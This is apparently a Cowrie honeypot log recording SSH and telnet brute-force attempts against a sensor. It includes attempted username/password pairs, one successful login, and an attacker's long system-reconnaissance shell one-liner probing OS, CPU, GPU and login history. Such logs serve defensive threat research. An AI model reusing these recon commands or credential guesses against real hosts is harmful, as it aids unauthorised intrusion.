{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:10.608456Z","src_ip":"91.92.40.11","session":"be62cae58e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":58386,"dst_ip":"10.17.0.5","dst_port":22,"session":"6af1de24a536","protocol":"ssh","message":"New connection: 103.98.149.87:58386 (10.17.0.5:22) [session: 6af1de24a536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:20.967361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:20.971835Z","src_ip":"103.98.149.87","session":"6af1de24a536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:21.196064Z","src_ip":"103.98.149.87","session":"6af1de24a536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:21.874173Z","src_ip":"103.98.149.87","session":"6af1de24a536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:23.098292Z","src_ip":"103.98.149.87","session":"6af1de24a536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"73.8","message":"Connection lost after 73.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:28.443593Z","src_ip":"162.144.64.128","session":"e5348c4429b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":56902,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb993c324889","protocol":"telnet","message":"New connection: 72.167.226.244:56902 (10.17.0.5:23) [session: fb993c324889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:44.970474Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":42970,"dst_ip":"10.17.0.5","dst_port":22,"session":"8645039e8e83","protocol":"ssh","message":"New connection: 91.92.40.11:42970 (10.17.0.5:22) [session: 8645039e8e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:02.857100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:02.909872Z","src_ip":"91.92.40.11","session":"8645039e8e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:02.981221Z","src_ip":"91.92.40.11","session":"8645039e8e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:03.780063Z","src_ip":"91.92.40.11","session":"8645039e8e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:04.959175Z","src_ip":"91.92.40.11","session":"8645039e8e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.092944383621216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:16.063335Z","src_ip":"72.167.226.244","session":"fb993c324889","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.203.232","src_port":47304,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ecdc1b4139b","protocol":"ssh","message":"New connection: 38.242.203.232:47304 (10.17.0.5:22) [session: 8ecdc1b4139b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:27.050135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:27.054283Z","src_ip":"38.242.203.232","session":"8ecdc1b4139b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:27.144223Z","src_ip":"38.242.203.232","session":"8ecdc1b4139b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mauritania","password":"Nouakchott#Ethereum$P@ss","message":"login attempt [mauritania/Nouakchott#Ethereum$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:27.415995Z","src_ip":"38.242.203.232","session":"8ecdc1b4139b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:28.508811Z","src_ip":"38.242.203.232","session":"8ecdc1b4139b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01001048088074,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:43.445067Z","src_ip":"94.23.66.112","session":"7d38adbf7a0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0033655166626,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:48.529193Z","src_ip":"94.23.66.112","session":"012a555f2338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":33132,"dst_ip":"10.17.0.5","dst_port":23,"session":"d137a8679dbf","protocol":"telnet","message":"New connection: 72.167.226.244:33132 (10.17.0.5:23) [session: d137a8679dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:55.583244Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":53158,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ab9678d8c0f","protocol":"ssh","message":"New connection: 91.92.40.11:53158 (10.17.0.5:22) [session: 5ab9678d8c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:55.612319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:55.741615Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:55.771077Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin123","message":"login attempt [admin/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:56.553741Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.048364Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.050591Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.052336Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.053921Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.055485Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.057670Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.059141Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.060966Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.062747Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.065250Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.067406Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.277293Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:46:57.460933Z","src_ip":"91.92.40.11","session":"5ab9678d8c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.49959444999695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:26.082729Z","src_ip":"72.167.226.244","session":"d137a8679dbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.55.185.228","src_port":38156,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5d60df30b08","protocol":"ssh","message":"New connection: 45.55.185.228:38156 (10.17.0.5:22) [session: f5d60df30b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.223286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.227096Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.233821Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
